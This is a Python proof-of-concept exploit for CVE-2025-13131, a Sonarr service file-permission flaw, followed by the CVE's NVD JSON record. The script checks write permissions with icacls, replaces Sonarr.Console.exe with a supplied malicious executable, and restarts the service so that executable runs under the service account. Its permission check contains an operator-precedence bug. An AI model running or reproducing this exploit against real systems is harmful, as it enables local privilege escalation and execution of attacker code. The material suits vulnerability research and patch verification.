CVE-2025-13131

# CVE-2025-13131 PoC - Sonarr Service Permission Misconfiguration # This PoC demonstrates the permission vulnerability in Sonarr 4.0.15.2940 # Author: Security Researcher # Date: 2025-11-13 import os import shutil import subprocess import sys SONARR_PATH = r"C:\ProgramData\Sonarr\bin\Sonarr.Console.exe" MALICIOUS_EXE = "malicious_payload.exe" # Replace with actual malicious executable def check_vulnerability(): """Check if Sonarr executable has insecure permissions""" try: # Check current permissions on the file result = subprocess.run( ['icacls', SONARR_PATH], capture_output=True, text=True ) print("[+] Current permissions on Sonarr.Console.exe:") print(result.stdout) # Check if Users group has write access if 'Users' in result.stdout and 'F' in result.stdout or 'W' in result.stdout: print("[!] VULNERABLE: Users group has write/modify permissions") return True else: print("[-] NOT VULNERABLE: Permissions appear to be secure") return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def exploit_vulnerability(): """Exploit the vulnerability by replacing the Sonarr executable""" try: # Backup original executable backup_path = SONARR_PATH + ".backup" print(f"[+] Backing up original executable to {backup_path}") shutil.copy2(SONARR_PATH, backup_path) # Replace with malicious executable print(f"[+] Replacing {SONARR_PATH} with malicious payload") shutil.copy2(MALICIOUS_EXE, SONARR_PATH) # Verify replacement if os.path.exists(SONARR_PATH): print("[+] Replacement successful") print("[!] Malicious code will execute when Sonarr service restarts") # Try to restart the service try: print("[+] Attempting to restart Sonarr service...") subprocess.run(['net', 'stop', 'Sonarr'], capture_output=True, timeout=30) subprocess.run(['net', 'start', 'Sonarr'], capture_output=True, timeout=30) print("[+] Service restart triggered") except: print("[!] Could not restart service automatically - manual restart required") else: print("[-] Replacement failed") except Exception as e: print(f"[-] Exploitation error: {e}") def restore_original(): """Restore the original executable after exploitation""" try: backup_path = SONARR_PATH + ".backup" if os.path.exists(backup_path): shutil.copy2(backup_path, SONARR_PATH) os.remove(backup_path) print("[+] Original executable restored") except Exception as e: print(f"[-] Restore error: {e}") if __name__ == "__main__": print("CVE-2025-13131 - Sonarr Service Permission Misconfiguration") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit_vulnerability() elif len(sys.argv) > 1 and sys.argv[1] == "--restore": restore_original() else: print("Usage:") print(" python cve-2025-13131.py --exploit : Exploit the vulnerability") print(" python cve-2025-13131.py --restore : Restore original executable") print() check_vulnerability()

{"cve": {"id": "CVE-2025-13131", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:50.227", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Sonarr 4.0.15.2940. The impacted element is an unknown function of the file C:\\ProgramData\\Sonarr\\bin\\Sonarr.Console.exe of the component Service. Performing manipulation results in incorrect default permissions. The attack is only possible with local access. The vendor confirms this vulnerability but classifies it as a \"low severity issue due to the default service user being used as it would either require someone to intentionally change the service to a highly privileged account or an attacker would need an admin level account\". It is planned to fix this issue in the next major release v5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 6.8, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Sonarr.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332362", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332362", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.683894", "source": "[email protected]"}]}}